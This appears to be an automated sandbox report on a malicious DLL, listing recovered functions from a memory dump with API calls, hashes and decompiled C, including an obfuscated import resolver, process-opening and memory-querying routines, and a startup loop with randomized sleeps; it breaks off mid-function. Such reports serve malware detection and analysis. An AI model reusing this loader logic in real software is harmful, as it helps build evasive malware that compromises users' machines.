Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D65E
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000), ref: 6DD5D66B

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 6DD6E7F8
IsValidCodePage.KERNEL32(00000000), ref: 6DD6E853
IsValidLocale.KERNEL32(?,00000001), ref: 6DD6E862
GetLocaleInfoW.KERNEL32(?,00001001,6DD5E03B,00000040,?,6DD5E15B,00000055,00000000,?,?,00000055,00000000), ref: 6DD6E8AA
GetLocaleInfoW.KERNEL32(?,00001002,6DD5E0BB,00000040), ref: 6DD6E8C9

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 7fd373d68c0212922fbd624110379033a128cf30a89aedda29e9229d15c3f760
Instruction ID: 54ad12649176816648d01366502ccebe9eae159d8bafb88843b27dc677df6499
Opcode Fuzzy Hash: 7fd373d68c0212922fbd624110379033a128cf30a89aedda29e9229d15c3f760
Instruction Fuzzy Hash: A4514D7190025AEBEF10FFA5CC44ABA77B8FF45704F118469FA24EB181E77099448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DD96, Relevance: 6.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,00000000,6DD51A4A,?,?,6DD15404,000000A4,6DD14FBB,00000000,00000001,?,?,?,?,?,?), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6DD5E042,?,?,?,?,6DD5DA1E,?,00000004), ref: 6DD6DE78
_wcschr.LIBVCRUNTIME ref: 6DD6DF08
_wcschr.LIBVCRUNTIME ref: 6DD6DF16
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6DD5E042,00000000,6DD5E162), ref: 6DD6DFB9

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: 51bbf8028118672f461197eb504bdd9c47d2de00366496bdec968fa4a90147bf
Instruction ID: d066c29079099b8262485a7eec995ed31541e17beef1ac041b734374d5bbaa17
Opcode Fuzzy Hash: 51bbf8028118672f461197eb504bdd9c47d2de00366496bdec968fa4a90147bf
Instruction Fuzzy Hash: 5C610571508286ABEB14BB74EC41BB673A8EF85704F214469FA59C7181FB34E54487F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF146C, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DCF146C() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;

				_t8 =  *0x6dcf41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6dcf41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 <= 5) {
					_t4 = 0x32;
					return _t4;
				} else {
					 *0x6dcf41ac = _t3;
					_t5 = GetCurrentProcessId();
					 *0x6dcf41a8 = _t5;
					 *0x6dcf41b0 = _t8;
					_t6 = OpenProcess(0x10047a, 0, _t5);
					 *0x6dcf41a4 = _t6;
					if(_t6 == 0) {
						 *0x6dcf41a4 =  *0x6dcf41a4 | 0xffffffff;
					}
					return 0;
				}
			}

0x6dcf146d
0x6dcf147b
0x6dcf1483
0x6dcf1488
0x6dcf14d2
0x6dcf14d2
0x6dcf148a
0x6dcf1492
0x6dcf14ce
0x6dcf14d0
0x6dcf1494
0x6dcf1494
0x6dcf1499
0x6dcf14a7
0x6dcf14ac
0x6dcf14b2
0x6dcf14ba
0x6dcf14bf
0x6dcf14c1
0x6dcf14c1
0x6dcf14cb
0x6dcf14cb

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6DCF17B8,751463F0,00000000), ref: 6DCF147B
GetVersion.KERNEL32 ref: 6DCF148A
GetCurrentProcessId.KERNEL32 ref: 6DCF1499
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6DCF14B2

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: 5cd367bd5841187793ab63c8cd0083072c1e22bad971989f16e50cb2ce57c1dd
Instruction ID: 812a9c9da53944091b1f672f123f5e9b2820e6e964723d26834500b8a003bde6
Opcode Fuzzy Hash: 5cd367bd5841187793ab63c8cd0083072c1e22bad971989f16e50cb2ce57c1dd
Instruction Fuzzy Hash: D7F0F472648219AEEF509B69B909BD53BB4FF1AB11F10801AE515DB1C0E7B04041CB59

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1F31, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DCF1F31(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x6dcf41cc;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71);
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x6dcf1f31
0x6dcf1f3a
0x6dcf1f3f
0x6dcf1f45
0x6dcf1f4e
0x6dcf1f54
0x6dcf1f56
0x6dcf1f59
0x6dcf1f5e
0x6dcf1f65
0x6dcf1f65
0x6dcf1f69
0x6dcf1f71
0x6dcf1f74
0x00000000
0x00000000
0x6dcf1f7a
0x6dcf1f84
0x6dcf1f86
0x6dcf1f89
0x6dcf1f8c
0x6dcf1f90
0x6dcf1f98
0x6dcf1f9a
0x6dcf1f9d
0x6dcf2005
0x6dcf2005
0x6dcf2009
0x00000000
0x00000000
0x6dcf1fa2
0x6dcf1fa8
0x6dcf1faa
0x6dcf1fbd
0x6dcf1fc0
0x6dcf1fc0
0x6dcf1fc0
0x6dcf1fc4
0x6dcf1fac
0x6dcf1fac
0x6dcf1fb4
0x6dcf1fb6
0x00000000
0x00000000
0x00000000
0x00000000
0x6dcf1fb6
0x6dcf1fa4
0x6dcf1fa4
0x6dcf1fb8
0x6dcf1fb8
0x6dcf1fb8
0x6dcf1fc7
0x6dcf1fca
0x6dcf1fcc
0x6dcf1fd3
0x6dcf1fce
0x6dcf1fce
0x6dcf1fce
0x6dcf1fdb
0x6dcf1fe1
0x6dcf1fe3
0x6dcf2013
0x6dcf1fe5
0x6dcf1fe5
0x6dcf1fe8
0x6dcf1fea
0x6dcf1ff2
0x6dcf1ff2
0x6dcf1ff7
0x6dcf1ff9
0x6dcf2000
0x6dcf2002
0x6dcf2002
0x6dcf2002
0x00000000
0x6dcf2002
0x00000000
0x6dcf1fe3
0x6dcf1f92
0x6dcf1f94
0x6dcf1f96
0x00000000
0x00000000
0x6dcf1f96
0x6dcf2016
0x6dcf2016
0x6dcf201d
0x6dcf2022
0x00000000
0x00000000
0x6dcf2028
0x6dcf2033
0x00000000
0x6dcf2033
0x6dcf202a
0x6dcf202a
0x6dcf2030
0x00000000
0x6dcf2030
0x6dcf1f5e
0x6dcf2034
0x6dcf2039

APIs

LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 6DCF1F69
GetProcAddress.KERNEL32(?,00000000), ref: 6DCF1FDB

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 6347ddb5e78af2653a7e297d771012aa4b3b6e300348fb670c2247db0a435d52
Instruction ID: 3287bd228cc7f61c25b77a7def1ed6c6b29c758d8b567d2f7fa4fbf727b66c3d
Opcode Fuzzy Hash: 6347ddb5e78af2653a7e297d771012aa4b3b6e300348fb670c2247db0a435d52
Instruction Fuzzy Hash: D231F6B2A1020E9FDB95CF5AC880BEAB7F4FF45354B20816AE811E7240F774DA42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF2485, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DCF2485(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6dcf41f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6dcf4240 = 1;
										__eflags =  *0x6dcf4240;
										if( *0x6dcf4240 != 0) {
											goto L60;
										}
										_t84 =  *0x6dcf41f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6dcf4240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6dcf41f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6dcf4200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6dcf41fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6dcf4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6dcf4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6dcf4240 = 1;
							__eflags =  *0x6dcf4240;
							if( *0x6dcf4240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6dcf4200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6dcf4200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6dcf4240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6dcf4200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6dcf41f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6dcf4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6dcf4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x6dcf248f
0x6dcf2492
0x6dcf2498
0x6dcf24b6
0x00000000
0x6dcf24b6
0x6dcf24a0
0x6dcf24a9
0x6dcf24af
0x6dcf24be
0x6dcf24c1
0x6dcf24c4
0x6dcf24ce
0x6dcf24ce
0x6dcf24d0
0x6dcf24d3
0x6dcf24d5
0x6dcf24d5
0x6dcf24d7
0x6dcf24da
0x00000000
0x00000000
0x6dcf24dc
0x6dcf24de
0x6dcf2544
0x6dcf2544
0x6dcf26a2
0x00000000
0x6dcf26a2
0x6dcf24e0
0x6dcf24e0
0x6dcf24e4
0x6dcf24e6
0x6dcf24e6
0x6dcf24e6
0x6dcf24e6
0x6dcf24e9
0x6dcf24ea
0x6dcf24ed
0x6dcf24ed
0x6dcf24f1
0x6dcf24f5
0x6dcf2503
0x6dcf2503
0x6dcf250b
0x6dcf2511
0x6dcf2513
0x6dcf2515
0x6dcf2525
0x6dcf2532
0x6dcf2536
0x6dcf253b
0x6dcf253d
0x6dcf25bb
0x6dcf25bb
0x6dcf253f
0x6dcf253f
0x6dcf253f
0x6dcf25bd
0x6dcf25bf
0x6dcf26a0
0x6dcf26a0
0x00000000
0x6dcf25c5
0x6dcf25c5
0x6dcf25cc
0x00000000
0x00000000
0x6dcf25d2
0x6dcf25d6
0x6dcf2632
0x6dcf2634
0x6dcf263c
0x6dcf263e
0x6dcf2640
0x00000000
0x00000000
0x6dcf2642
0x6dcf2648
0x6dcf264a
0x6dcf264c
0x6dcf2661
0x6dcf2661
0x6dcf2663
0x6dcf2692
0x6dcf2699
0x00000000
0x6dcf2699
0x6dcf2667
0x6dcf2668
0x6dcf266a
0x6dcf266c
0x6dcf266c
0x6dcf266e
0x6dcf2670
0x6dcf2672
0x6dcf2686
0x6dcf2686
0x6dcf2689
0x6dcf268b
0x6dcf268b
0x6dcf268c
0x6dcf268c
0x00000000
0x6dcf2674
0x6dcf2674
0x6dcf2674
0x6dcf267d
0x6dcf267e
0x6dcf2680
0x6dcf2682
0x6dcf2682
0x00000000
0x6dcf2674
0x6dcf2672
0x6dcf264e
0x6dcf2655
0x6dcf2655
0x6dcf2657
0x00000000
0x00000000
0x6dcf2659
0x6dcf265a
0x6dcf265d
0x6dcf265f
0x00000000
0x00000000
0x00000000
0x6dcf265f
0x00000000
0x6dcf2655
0x6dcf25d8
0x6dcf25db
0x6dcf25e0
0x00000000
0x00000000
0x6dcf25e9
0x6dcf25eb
0x6dcf25f1
0x00000000
0x00000000
0x6dcf25f7
0x6dcf25fd
0x00000000
0x00000000
0x6dcf2603
0x6dcf2605
0x6dcf260e
0x6dcf2612
0x00000000
0x00000000
0x6dcf2618
0x6dcf261b
0x6dcf261d
0x00000000
0x00000000
0x6dcf2624
0x6dcf2626
0x00000000
0x00000000
0x6dcf2628
0x6dcf262c
0x00000000
0x00000000
0x00000000
0x6dcf262c
0x00000000
0x00000000
0x00000000
0x6dcf2517
0x6dcf2517
0x6dcf2517
0x6dcf251e
0x00000000
0x00000000
0x6dcf2520
0x6dcf2521
0x6dcf2523
0x00000000
0x00000000
0x00000000
0x6dcf2523
0x6dcf254b
0x6dcf254d
0x00000000
0x00000000
0x6dcf255d
0x6dcf255f
0x6dcf2561
0x00000000
0x00000000
0x6dcf2567
0x6dcf256e
0x6dcf259a
0x6dcf259a
0x6dcf259c
0x6dcf259e
0x6dcf25b2
0x6dcf25b4
0x00000000
0x00000000
0x00000000
0x00000000
0x6dcf25a0
0x6dcf25a0
0x6dcf25a0
0x6dcf25a9
0x6dcf25aa
0x6dcf25ac
0x6dcf25ae
0x6dcf25ae
0x00000000
0x6dcf25a0
0x6dcf2570
0x6dcf2573
0x6dcf2575
0x6dcf2587
0x6dcf2587
0x6dcf258a
0x6dcf258c
0x6dcf258c
0x6dcf258d
0x6dcf258d
0x6dcf2593
0x00000000
0x00000000
0x00000000
0x00000000
0x6dcf2577
0x6dcf2577
0x6dcf2577
0x6dcf257e
0x00000000
0x00000000
0x6dcf2580
0x6dcf2580
0x6dcf2581
0x00000000
0x00000000
0x00000000
0x6dcf2581
0x6dcf2583
0x6dcf2585
0x6dcf2598
0x00000000
0x00000000
0x00000000
0x6dcf2598
0x00000000
0x6dcf2585
0x6dcf24f7
0x6dcf24fa
0x6dcf24fd
0x00000000
0x00000000
0x6dcf24ff
0x6dcf2501
0x00000000
0x00000000
0x00000000
0x6dcf2501
0x6dcf24c6
0x6dcf24c8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6DCF2536

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 29d81970f0c2b409d8f8cc29e1cbaf37117dd5e34dd8e26797b3ed1e93dedcff
Instruction ID: 4bd4e51d3d674b2dec5252a0688b0f82918b17a5caf1bffdc248a332433a78ba
Opcode Fuzzy Hash: 29d81970f0c2b409d8f8cc29e1cbaf37117dd5e34dd8e26797b3ed1e93dedcff
Instruction Fuzzy Hash: B961A33164868F8BD7AACF69D5B07E9F7B5BF8A318B248029D415C7294F770D843CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6BF64, Relevance: 19.6, APIs: 13, Instructions: 114COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6DD6BFA8

Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C7EC
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C7FE
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C810
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C822
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C834
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C846
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C858
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C86A
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C87C
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C88E
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8A0
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8B2
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8C4

_free.LIBCMT ref: 6DD6BF9D

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(?,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?,?), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6BFBF
_free.LIBCMT ref: 6DD6BFD4
_free.LIBCMT ref: 6DD6BFDF
_free.LIBCMT ref: 6DD6C001
_free.LIBCMT ref: 6DD6C014
_free.LIBCMT ref: 6DD6C022
_free.LIBCMT ref: 6DD6C02D
_free.LIBCMT ref: 6DD6C065
_free.LIBCMT ref: 6DD6C06C
_free.LIBCMT ref: 6DD6C089
_free.LIBCMT ref: 6DD6C0A1

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1d37ac998b1d21197b6bc60ee0aefe7ede48148ee7147ca865899cefdc5452ba
Instruction ID: 61ad6b2ad83aaf65e0550555f8c88b0a446b76b9ac8dd337978e1806614f1a3e
Opcode Fuzzy Hash: 1d37ac998b1d21197b6bc60ee0aefe7ede48148ee7147ca865899cefdc5452ba
Instruction Fuzzy Hash: F8313D31648246EFEF20AB38D844B6A77F9AF00314F115919F168D71A2EB31B9648BB0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF17A7, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6DCF17A7(intOrPtr _a4) {
				char _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				long _v52;
				long _v56;
				void* __edi;
				long _t21;
				int _t23;
				long _t27;
				long _t31;
				intOrPtr _t39;
				intOrPtr _t44;
				signed int _t45;
				void* _t50;
				signed int _t54;
				void* _t56;
				intOrPtr* _t57;

				_t21 = E6DCF146C();
				_v52 = _t21;
				if(_t21 != 0) {
					L18:
					return _t21;
				} else {
					goto L1;
				}
				do {
					L1:
					GetSystemTime( &_v44);
					_t23 = SwitchToThread();
					asm("cdq");
					_t45 = 9;
					_t54 = _t23 + (_v44.wMilliseconds & 0x0000ffff) % _t45;
					_v56 = E6DCF15A3(0, _t54);
					Sleep(_t54 << 5);
					_t21 = _v56;
				} while (_t21 == 0xc);
				if(_t21 != 0) {
					goto L18;
				}
				_t27 = E6DCF1C12(_t45);
				_v52 = _t27;
				if(_t27 != 0) {
					L16:
					_t21 = _v52;
					if(_t21 == 0xffffffff) {
						_t21 = GetLastError();
					}
					goto L18;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t56 = E6DCF1CA4(E6DCF16EC,  &_v28);
					if(_t56 == 0) {
						_v56 = GetLastError();
					} else {
						_t31 = WaitForSingleObject(_t56, 0xffffffff);
						_v56 = _t31;
						if(_t31 == 0) {
							GetExitCodeThread(_t56,  &_v56);
						}
						CloseHandle(_t56);
					}
					goto L16;
				}
				if(E6DCF1D7C(_t45,  &_v48) != 0) {
					 *0x6dcf41b8 = 0;
					goto L11;
				}
				_t44 = _v48;
				_t57 = __imp__GetLongPathNameW;
				_t50 =  *_t57(_t44, 0, 0);
				if(_t50 == 0) {
					L9:
					 *0x6dcf41b8 = _t44;
					goto L11;
				}
				_t15 = _t50 + 2; // 0x2
				_t39 = E6DCF1C8F(_t50 + _t15);
				 *0x6dcf41b8 = _t39;
				if(_t39 == 0) {
					goto L9;
				} else {
